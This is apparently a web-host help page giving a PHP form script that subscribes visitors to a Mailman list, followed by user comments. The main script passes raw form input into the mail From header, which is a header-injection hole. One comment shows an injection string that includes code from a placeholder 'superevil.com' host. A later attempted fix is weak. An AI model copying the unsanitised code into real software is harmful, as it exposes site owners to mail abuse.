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How do I let people subscribe to my Mailman list using a
homemade PHP script?

On your webpage, you can have people fill out a HTML form to subscribe to your mailing list instead of having them visit the Mailman Subscription page. The following sample PHP code sends a subscription confirmation message to the email address the user submits.

<?
if($_POST["Email"])
{
$maillist_address = "yourlist-join@yourdomain.com";
$subject = "";
$body = "";
$headers = "From: " . $_POST["Email"];

if (mail("$maillist_address",
"$subject",
"$body",
"$headers"))
{
print "Thank you. A subscription confirmation has been sent.";
}else{
print "The subscription request failed.n Perhaps the email is not valid orn
the mail server could not be contacted.n";
}
}
?>

<FORM method="post" action="<?= $PHP_SELF; ?>">
Subscribe my email address:
<INPUT name="Email" size="20" type="text" maxlength=100><br>
<INPUT type="submit" name="Submit" value="Submit">
</form>

"your-list" is the name of your mailing list. If you don't know your list name, it is listed as the "public name" in the General Options section of your list administration page. "yourdomain.com" is the domain name you host at Modwest which uses the Mailman service.

User-Contributed Notes

20-Nov-2008 15:11

Ripper - this is a great help. I'm building a web GUI for moderators so
I don't have to give them administrator access but they can still add
and remove users. Thanks.

john-modwest -at- lackof.org
08-Jan-2009 11:51

Don't forget to scrub that user input.  An evil person could input the
following:
email"]; include(http://superevil.com/nastyscript.php);
or something along those lines.

nafziger -at- gmail.com
28-May-2009 14:46

Here's my attempt at scrubbing the input as suggested by the commenter
above:

<?
$email = urlencode($_POST["Email"]);
$email = str_replace( "%40","@",$email ); 
if($email)
{
$maillist_address = "mailmanlist@domain.com>";
$subject = "";
$body = "";
$headers = "From: " . $email;

if (mail("$maillist_address",
"$subject",
"$body",
"$headers"))
{
print "Thank you. A subscription confirmation has been sent.";
}else{
print "The subscription request failed.n Perhaps the email is not valid
orn
the mail server could not be contacted.n";
}
}
?>

<FORM method="post" action="<?= $PHP_SELF; ?>">
Subscribe my email address:
<INPUT name="Email" size="20" type="text" maxlength=100><br>
<INPUT type="submit" name="Submit" value="Submit">
</form>

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